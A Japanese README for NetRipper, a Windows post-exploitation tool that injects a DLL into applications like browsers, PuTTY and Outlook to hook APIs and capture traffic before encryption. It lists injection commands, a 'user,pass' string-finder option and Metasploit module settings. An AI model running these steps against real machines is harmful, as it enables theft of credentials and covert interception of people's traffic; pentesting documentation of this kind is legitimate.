
NetRipper - ペネトレーションテスター向けスマートトラフィックスニッフィング
NetRipperは、Windowsシステムを対象としたポストエクスプロイテーションツールであり、APIフッキングを使用して、低権限ユーザーからネットワークトラフィックと暗号化関連関数をインターセプトし、平文トラフィックと暗号化トラフィックの両方を、暗号化前/復号後にキャプチャできます。
NetRipperは、ネバダ州ラスベガスで開催されたDefcon 23でリリースされました。
NetRipperを事前の相互同意なしにターゲットを攻撃するために使用することは違法です。エンドユーザーは、該当するすべての地域、州、連邦法を遵守する責任があります。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害について責任を負いません!
ペネトレーションテストにおけるポストエクスプロイテーション活動は、完全にパッチが適用され、適切に構成されたWindowsマシン上でテスターが低権限である場合、困難になる可能性があります。この研究では、低権限であっても、侵害されたマシン上のアプリケーションのネットワークトラフィックをスニッフィングすることで、テスターが有用な情報を見つけるための手法を紹介します。さらに、暗号化されたトラフィックも暗号化レイヤーに送信される前にキャプチャされるため、すべてのトラフィック(平文と暗号化)をスニッフィングできます。この手法の実装はNetRipperと呼ばれるツールで、APIフッキングを使用して上記のアクションを実行し、ペネトレーションテストで使用するために特別に設計されていますが、この概念は従業員のネットワークトラフィックを監視したり、悪意のあるアプリケーションを分析するためにも使用できます。
NetRipperは、Putty、WinSCP、SQL Server Management Studio、Microsoft Outlook、Google Chrome、Mozilla Firefox、およびその他多数のツールからネットワークトラフィックをキャプチャできるはずです。このリストはこれらのアプリケーションに限定されませんが、他のツールには特別なサポートが必要な場合があります。
NetRipper.exe - Configures and inject the DLL
DLL.dll - Injected DLL, hook APIs and save data to files
netripper.rb - Metasploit post-exploitation module
AppVeyorでの自動ビルドが利用可能です。バイナリは、アーティファクトセクションこちらからダウンロードできます。
Injection: NetRipper.exe DLLpath.dll processname.exe
Example: NetRipper.exe DLL.dll firefox.exe
Generate DLL:
-h, --help Print this help message
-w, --write Full path for the DLL to write the configuration data
-l, --location Full path where to save data files (default TEMP)
Plugins:
-p, --plaintext Capture only plain-text data. E.g. true
-d, --datalimit Limit capture size per request. E.g. 4096
-s, --stringfinder Find specific strings. E.g. user,pass,config
Example: NetRipper.exe -w DLL.dll -l TEMP -p true -d 4096 -s user,pass
msf exploit(multi/handler) > use post/windows/gather/netripper/netripper
msf post(windows/gather/netripper/netripper) > show options
Module options (post/windows/gather/netripper/netripper):
Name Current Setting Required Description
---- --------------- -------- -----------
DATALIMIT 65535 no The number of bytes to save from requests/responses
DATAPATH TEMP no Where to save files. E.g. C:\Windows\Temp or TEMP
DLLPATH no Where to find NetRipper DLLs. Default is /usr/share/metasploit-framework...
PLAINTEXT false no True to save only plain-text data
PROCESSIDS no Process IDs. E.g. 1244,1256
PROCESSNAMES no Process names. E.g. firefox.exe,chrome.exe
SESSION yes The session to run this module on.
STRINGFINDER DEFAULT no Search for specific strings in captured data
PROCESSNAMESまたはPROCESSIDSを設定して実行します。
@HarmJ0y が NetRipper.exe のPowerShell実装である Invoke-NetRipper.ps1 を追加しました。 PowerShellモジュールは最新ではないことに注意してください。
変更履歴は「Changelog.md」ファイルに、コンパイル手順は「Compilation.md」ファイルに記載されています。
NetRipperは以下を使用しています:
Ionut Popescu (@NytroRST)